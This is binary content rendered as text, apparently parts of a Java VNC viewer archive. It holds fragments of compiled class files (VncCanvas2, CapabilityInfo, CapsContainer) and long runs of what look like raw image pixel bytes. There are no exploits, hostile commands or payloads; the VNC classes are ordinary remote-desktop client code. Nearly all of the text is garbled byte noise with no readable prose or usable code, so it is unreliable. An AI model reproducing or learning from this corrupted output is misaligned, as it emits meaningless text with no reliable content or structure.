?OY!GOY"COY#OY$%OY%?OY&AOY'OY(OY)COY*EOY+AOY,DOY-OY.OY/@OY0IOY1%OY2GOY3EOY4OY5BOY6HOY7DOY8FOY9IOY:OY;FOY<BOY=OY>@OY?HO@ YJOY OY OYOYKOYLOYMOY OYOY NOY NOY OOY OY OYPOYMOYOY OYOYJOYOYOY OY OYLOYOY OYPOY OYKOYOOYOY POY!MOY"NOY#OOY$OY%OY&OY'NOY( OY)POY*LOY+OY,JOY- OY. OY/OY0OOY1OY2OY3 OY4MOY5 OY6KOY7LOY8 OY9 OY:OY;JOY<OY=OY> OY?KO@ YOYQOYROYSOY#OYOYTOYROYUOY #OY VOY UOY SOY WOYXOYTOYYOYZOYZOYOY[OY\OY\OYVOYWOY[OYOY]OYQOYYOY]OYXOY #OY!SOY"OY#YOY$TOY%ROY&SOY'UOY(VOY)TOY*WOY+QOY,UOY-OY.YOY/WOY0\OY1XOY2]OY3\OY4ROY5OY6ZOY7]OY8XOY9VOY:[OY;#OY<OY=ZOY>QOY?[O@ Y^OY_OY@OY`OY_OYOY`OY OYaOY bOY  OY ^OY cOY aOYdOY@OYOYcOYeOY@OYfOYeOYOYgOYgOYOYbOYhOY@OYfOYhOYdOY aOY!OY"gOY#fOY$`OY% OY&@OY'^OY( OY)aOY*dOY+@OY,^OY-`OY.fOY/_OY0bOY1hOY2OY3gOY4OY5@OY6_OY7bOY8@OY9cOY:eOY;OY<hOY=dOY>cOY?eO@ Y!OYiOYjOYOYOYjOYkOYlOYmOY !OY OY nOY OY oOYiOYOYpOYkOYqOYpOYnOYrOYlOYqOYrOYOYOYmOYsOYOYoOYsOY oOY!sOY"!OY#jOY$jOY%iOY&iOY'OY(qOY)oOY*pOY+!OY,lOY-OY.kOY/lOY0OY1nOY2mOY3rOY4sOY5OY6OY7mOY8OY9kOY:rOY;OY<nOY=pOY>OY?qO@ YtOYOY$OYuOYvOYtOY@OYvOYwOY xOY uOY yOY zOY {OYOY@OYxOY|OY}OY@OYyOYwOY~OYzOY@OYOYOY~OY|OY}OY{OY$OY {OY!$OY"zOY#OY$@OY%~OY&OY'{OY(}OY)@OY*|OY+xOY,~OY-vOY.$OY/tOY0OY1uOY2wOY3|OY4xOY5}OY6tOY7OY8uOY9yOY:yOY;@OY<@OY=wOY>vOY?zO6 ".&.8m<G Yk }   #PA-] % & '( )* )+ , - . / 012 3 45 678 9 :;<=>(LVncViewer;)VCodeLineNumberTable Exceptions?(LVncViewer;II)VpaintScaledFrameBuffer(Ljava/awt/Graphics;)VdisableFocusTraversalKeys()V SourceFileVncCanvas2.java  !" java/awt/Graphics2D@ AE FG HI JK LM NMO PQjava/lang/Class RS TUsetFocusTraversalKeysEnabled VWjava/lang/Objectjava/lang/Boolean XY Z[java/lang/Exception VncCanvas2 VncCanvasjava/io/IOExceptionjava/awt/RenderingHints KEY_RENDERING\Key InnerClassesLjava/awt/RenderingHints$Key;VALUE_RENDER_QUALITYLjava/lang/Object;setRenderingHint2(Ljava/awt/RenderingHints$Key;Ljava/lang/Object;)VmemImageLjava/awt/Image; scaledWidthI scaledHeightjava/awt/Graphics drawImage5(Ljava/awt/Image;IIIILjava/awt/image/ImageObserver;)ZTYPELjava/lang/Class;getClass()Ljava/lang/Class; getMethod@(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;(Z)Vjava/lang/reflect/Methodinvoke9(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;java/awt/RenderingHints$Key * *+* , *+*%& ' H$+M,,** *  W*+-#.!"f2 Y SL*+MYYSN,*-WL-06 79&:-;1<#$D B)C -9 ) * + , - ./ 0 1 2 3 456codeIvendorSignatureLjava/lang/String; nameSignature descriptionenabledZ:(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)VCodeLineNumberTable(I[B[B)VgetCode()IgetDescription()Ljava/lang/String; isEnabled()Zenable()Vequals(LCapabilityInfo;)ZenableIfEquals SourceFileCapabilityInfo.java #     java/lang/String 7 $8 $% "# !CapabilityInfojava/lang/Object([B)V(Ljava/lang/Object;)Z O***,*-** ! "#$%&\,***Y,*Y-***+ ,-!.&/+0*3*7 !*;"#"* ?@$%I1+.*+#*+ *+ C&%1*+ * * IJ L'(-a 56> 7 89 : ;< = > ?@ A B C D E F G H I JKLMinfoMapLjava/util/Hashtable; orderedListLjava/util/Vector;()VCodeLineNumberTableadd(LCapabilityInfo;)V:(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)VisKnown(I)ZgetInfo(I)LCapabilityInfo;getDescription(I)Ljava/lang/String;enable(LCapabilityInfo;)Z isEnabled numEnabled()I getByOrder(I)I SourceFileCapsContainer.java  java/util/Hashtable N java/util/Vector O java/lang/Integer P0 Q RSCapabilityInfo % TU VW *X Y- Z[ .\ ]0 ^_ `0(java/lang/ArrayIndexOutOfBoundsException CapsContainerjava/lang/Object(IF)V(II)VgetCode(I)Vput8(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; containsKey(Ljava/lang/Object;)Zget&(Ljava/lang/Object;)Ljava/lang/Object;()Ljava/lang/String;enableIfEquals addElement(Ljava/lang/Object;)V()Zsize elementAt(I)Ljava/lang/Object;intValue   !G#**Y@*Y " !""##$!7 Y+ M*,+ W"& '(#%!A! Y :* Y,- W"+ , -&'!(* Y "0()!+* Y  "4*+!B* Y  M,,"89:<,-!i5 Y+ M*, N--+6 *,""@ ABCE%F*G2I.'!B* Y  M,,"MNOQ/0! *"U12!G* =N="[^\]_34 ( @  @@@@ @@@@   Ͼ??+**+??Ͼ (@  &&f f2Fz jVfj".zFRRfv~"r&rJb"&n~>JJ®>RrRj"n:BFr:N*22^zRbf~N^bʾvbz:N2>>f~^nr~BV"~6fJZ^r2:> &..zv&jNb.66JVZz&6~"**v^rv Zjnj~v*v*:~r":FFBNRFRV jZfn&*.fz~bvz*26 n.6:ʺ.B*.2jz""jbrznz~vrz.:FJR^bj.vzn6>B>JN NZ^VbjnvƲj~brvzjv>FJ>N6Fjh,7\ UNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNhh )IUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%g%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%S%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%g | g%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%S%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%{;.%%%%% 2TTTTTcTTccccTTcccTTcccTTcccTTcccTTcTTTccTTTccTT=1 %%%%S%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%I:QJ*UI%%% à& %%%S%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%LH%%%11%%%S%%%W^ )(/%%%%%%%%%%%%%%%%%%%%g:C:I%%GG%%%S%%%W^ )(/%%%%%%%%%%%%%%%%%%%%fytf%%BB%%%S%%%W^ )(/%%%%%%%%%%%%%%%%%%%g NMN g%-rX-%%%S%%%W^ )(/%%%%%%%%%%%%%%%%%%%.{I%? ?%%%S%%%W^ )(/%%%%%%%%%%%%%%%%%%g b\q%%?+zzzzzzzzzzzzzzzzzAB?%%%%S%%%W^ )(/%%%%%%%%%%%%%%%%%%IU|g%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%S%%%W^ )(/%%%%%%%%%%%%%%%%%%L"[%%%%%%%%%%%%%%%%%%%ggg%%%%%%%%%%%%%%%%%%%II%%%%%%%%%%%%%%%gI Ig%%%%%%%%%%%%S%%%W^ )(/%%%%%%%%%%%%%%%%%g|; g%%%%%%%%%%%%% WWWWWW I%%%%%%%%%%%%g:[eW%%%%%%%%%%%g :efHh''hHf.|I%%%%%%%%%%S%%%W^ )(/%%%%%%%%%%%%%%%%%[{I%%%%%%%%%%%%%eHQKfWI%%%%%%%%%%%e'd$L g%%%%%%%%g|[nJM H{I%%%%%%%%S%%%W^ )(/%%%%%%%%%%%%%%%%g JL%%%%%%%%%%%%Q]uf%%%%%%%%%%.CuC:I%%%%%%%WfDy\H:g%%%%%%S%%%W^ )(/%%%%%%%%%%%%%%%%.xWg%%%%%%%%%%%>bjq g%%%%%%%%U{I%%%%%g.ykeg%%%%%S%%%W^ )(/%%%%%%%%%%%%%%%g bje%%%%%%%%%%%Ije%%%%%%%%IW`O .I%%%%g LuiL g%%%%S%%%W^ )(/%%%%%%%%%%%%%%%IU g%%%%%%%%%%%|LC m{g%%%%%%%g H,eI%%%g LjD^9L g%%%S%%%W^ )(/%%%%%%%%%%%%%%%L"UI%%%%%%%%%%%I{[ g%%%%%%%gL eI%%%f.W :e^fg%%S%%%W^ )(/%%%%%%%%%%%%%%g|L%%%%%%%%%%%%%Hu g%%%%%%%%%[meI%%{n[ g%%%g .t5UI%%S%%%W^ )(/%%%%%%%%%%%%%%[ QWg%%%%%%%%%%%%LOL%%%%%%%%%{ieI%gWNjfg%%%%%%%g|Hje%%S%%%W^ )(/%%%%%%%%%%%%%g s9.%%%%%%%%%%%%LL%%%%%%%%I:eI%[ g%%%%%%%%%%I LDU%%S%%%W^ )(/%%%%%%%%%%%%%.ChH%%%%%%%%%%%%LL%%%%%%%IWeIg je%%%%%%%%%%%%g e^eg%%S%%%W^ )(/%%%%%%%%%%%%g b"q[:I%%%%%%%%%%%LL%%%%%%g qyeejkWg%%%%%%%%%%%%%g g%%%S%%%W^ )(/%%%%%%%%%%%%IU{W;yf%%%%%%%%%%%LL%%%%%gf9eHH%%%%%%%%%%%%%%%%%%%%%%%S%%%W^ )(/%%%%%%%%%%%%L"b [0 N g%%%%%%%%%%LL%%%%%e,e|[%%%%%%%%%%%%%%%%%%%%%%%S%%%W^ )(/%%%%%%%%%%%g|.I|{I%%%%%%%%%%LL%%%%U,e{ .I%%%%%%%%%%%%%%%%%%%%%%%S%%%W^ )(/%%%%%%%%%%%[MN g%qJJq%%%%%%%%%%LL%%%I|N eeUI%%%%%%%%%%%%%%%%%%%%%%%S%%%W^ )(/%%%%%%%%%%g tf%%I{|g%%%%%%%%%LL%%g H"~ef:g%%%%%%%%%%%%%%%%%%%%%%%S%%%W^ )(/%%%%%%%%%%.:I%%g N 0[%%%%%%%%%LL%gL ~eL5|g%%%%%%%%%%%%%%%%%%%%%%%S%%%W^ )(/%%%%%%%%%g b*H%%%%ftu; g%%%%%%%%LLg[~eLb5|g%%%%%%%%%%%%%%%%%%%%%%%S%%%W^ )(/%%%%%%%%%IUm{I%%%%I:{I%%%%%%%%LL.Q$~eL5|g%%%%%%%%%%%%%%%%%%%%%%%S%%%W^ )(/%%%%%%%%%L"; g%%%%%HL%%%%%%%%LL UN[v~ef5|g%%%%%%%%%%%%%%%%%%%%%%%S%%%W^ )(/%%%%%%%%g|[%%%%%%e9xWg%%%%%%%Lq{hO{U~ee:g%%%%%%%%%%%%%%%%%%%%%%%S%%%W^ )(/%%%%%%%%[|g%%%%%%gWxije%%%%%%%L.|~e{UI%%%%%%%%%%%%%%g g%%%S%%%W^ )(/%%%%%%%g JL%%%%%%%%Ls %%%%%%%LF[I|~e|j.I%%%%%%%%%%%%%g{qLU%%%S%%%W^ )(/%%%%%%%.{I%%%%%%%%I{:%%%%%%%L\]L gg|~eH[%%%%%%%%%%%%%{D]j^ g%%S%%%W^ )(/%%%%%%g b g%%%%%%%%g ;tf%%%%%%%L g%g|~.e,bq%%%%%%%%%%%%g h*MnUI%%S%%%W^ )(/%%%%%%IUje%%%%%%%%%%[0 N%%%%%%L:I%%g|~.IgW g%%%%%%%%%%%f9.I%%S%%%W^ )(/%%%%%%L"xWg%%%%%%%%%%g|e%%%%%%LOi{%%%g|~.I%Lt{I%%%%%%%%%%I:,.I%%S%%%W^ )(/%%%%%g|"L%%%%%%%%%%%%H%%%%%%Lm[%%%%g|~.I%I|'Mq%%%%%%%%%I ^eI%%S%%%W^ )(/%%%%%fF{I%%%%%%%%%%%%e,%%%%g K Lg%%%%g:C eI%%e3{%%%%%%%I Hy0eI%%S%%%W^ )(/%%%g:'xWI%%%%%%%%%%%%{g%g["H g%%%%g.tfg%g L]:g%%%g:H00eI%%S%%%W^ )(/%% {;veWg%%%%%%g :HF,H:I[iN|I%%%% .wue gI Oe W["eI%%S%%%W^ )(/%:H\\$wqUg%%%%I [C0[U%%%%|qbH|%IW]HLHk,,.I%%S%%%W^ )(/% H,h:%%%gLKNbe%%%%%fmu Lg%I LJ*j.I%%S%%%W^ )(/%|Qe%%%gWh"]fg%%%%g q~ H g%%ge]i*y3UI%%S%%%W^ )(/% iO\s9N:%%%g H9OM]Lt\Ob\Fv[g%%%%%%.wdOO\dw.%%%%gWf9u7jkq[q3t ^ g%%S%%%W^ )(/%W{KK.|g%%%%I {H^}}K}^f: {[LLLLLLfe:g%%%%%%%g:efLLLLLfe:g%%%%%%g {LN9j9>NL.W .HLU%%%S%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%gI |U{{{{: Ig%%g g%%%S%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!!pZ#V%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!a#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!!!4%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!!!¢%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!!!!4%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!!!!!#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!!!!!aV%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!!!!!!#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%!!!!!!!!!!!!!!!@E%%%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!!!!!!Z%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%8_%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!!!!!!p%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%V#Zp!!!!!!%!!!!!!!%%%!%%%%!!!!!!!!!!!!!!!! %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%4#a!!!!!!!!!%!!!!!!!!!!%%%%%%%%%%%%%%%%!!!!!%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%4!!!!!!!!!!!!%!!!!!!!!!!%%%%%%V#Zp%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%V#Zp!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%!!!!!!!!!!!!%!!!!!!!!!!%%%%%#a!!!!!!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%%%%%#a!!!!!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%#!!!!!!!!!!!!!%!!!!!!!!!!%%%%4!!!!!!!!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%%%%4!!!!!!!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%Va!!!!!!!!!!!!!%!!!!!!!!!!%%4!!!!!!!!!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%%%%!!!!!!!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%#!!!!!!!!!!!!!!%!!!!!!!!!!%%#!!!!!!!!!!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%%%4!!!!!!!!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%Z!!!!!!!!!!!!!!%!!!!!!!!!!%Va!!!!!!!!!!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%%#!!!!!!!!!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%p!!!!!!!!!!!!!!%!!!!!!!!!!%#!!!!!!!!!!!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%Va!!!!!!!!!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!%!!!!!!!!!!%Z!!!!!!!!!!!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%R!!!!!!!!!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%!!!!!!!!!%%%%%%%%!!!%!!!!!!!!!!%p!!!!!!!!!!!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%#!!!!!!!!!!!!!!%%%%%%!!!%%%%%%%%%W^ )(/%%%%%%%%%%%%!!!!%%%%%!%%%%%%%!!!%!!!!!!!!!!!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%Z!!!!!!!!!!!!!!%%%!!!%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%!!!%%%!%%!!!!!!!!!!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%p!!!!!!!!!!!!%%!!!%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%!!!!!!!!!!%!!%%%%%!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%!!!!!!!!!!%!!!!!!!%%%!%%%%!!!!!!!!%!!!!%%%%%%%!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%!!!!!!!!!!%!!!!!!!!!!%!!!!%%%%%%!%%%%%%%%%%!%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%!!!!!%%%%%%%%%%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%%%%%%%%%%%!%%%%%%%%%W^ )(/%%%%%%%!!!!%%%%%!!!!%%%%%%%%%%%!%%%!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%%%%%%%%!!!%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!%!!%!%%%%%%%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%%%%%!!!!!%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!%!!!!!!!!!!!%%%%!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!%!!!!!!!!!!%!!!%%%%%%%!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!!%!!!%%%%%%%!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!%!!!!!!!!!!%p!!!!!!!!!!%%%%%%%%%%!%%!!!!!!!!%!!!%%%%%%%!%%%!!!!!!!!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!%!!!!!!!!!!%Z!!!!!!!!!%!!!!%%%%%%%%!%%%%!!!!!!!!!!!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!%!!!!!!!!!!%#!!!!!!!!!!!!!!!!!!!!%!!!!!!!!!!%!!!!!!!!!%!!!!!!!!!!!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!%!!!!!!!!!!%Va!!!!!!!!!!!!!!!!!!!%!!!!!!!!!!!!!!!!!!!!p%!!!!!!!!!!!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!%!!!!!!!!!!%%#!!!!!!!!!!!!!!!!!!!%!!!!!!!!!!!!!!!!!!!!Z%!!!!!!!!!!!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!%!!!!!!!!!!%%!!!!!!!!!!!!!!!!!!!%!!!!!!!!!!!!!!!!!!!!#%!!!!!!!!!!!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!!!!!!%!!!!!!!!!!%%%4!!!!!!!!!!!!!!!!!!%!!!!!!!!!!!!!!!!!!!aV%!!!!!!!!!!!!!!!%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%!!!%!!!!!!!!!!%%%%4!!!!!!!!!!!!!!!!!%!!!!!!!!!!!!!!!!!!!#%%!!!!!!!!!!!!!!!%%%%%%!%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!%%%%%%%%%%%%%%!%!!!!!!%%%%%!!!!!!!!!!!!!!!!!%!!!!!!!!!!!!!!!!!!6%%!!!!!!!!!!!!!!!%%%%%!!!%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%#a!!!!!!!!!!!!!!!%!!!!!!!!!!!!!!!!!!4%%%!!!!!!!!!!!!!!!!!!!!%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%%P!ool%%!!!%%%V#!!!!!!!!!!!!!!%!!!!!!!!!!!!!!!!!4%%%%!!!!!!!!!!!!!%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%P!!!!!!P%%%%%!!!!@Zp!!!!!!!!!!!!%!!!!!!!!!!!!!!!a#%%%%%!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%Y!!!!!!!%%%%%%%%%E%%!!!!!!%!!!!!!!!!!!!!!#V%%%%%%%%%!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%!!!!!!!!P%%%%%%%%%%%%%%%%%%%%%%!%%!!!!!!!!!pZ@!!!!!!!%%%!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%o!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%!!%%%%%%%%%%%E%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%o!!!!!!!!o%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%!!!!!!!!o%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%P!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%%!!!!!!!P%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%!!!!!!%%%%%%%%!!!!!l%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%P%oo!%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%P%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ 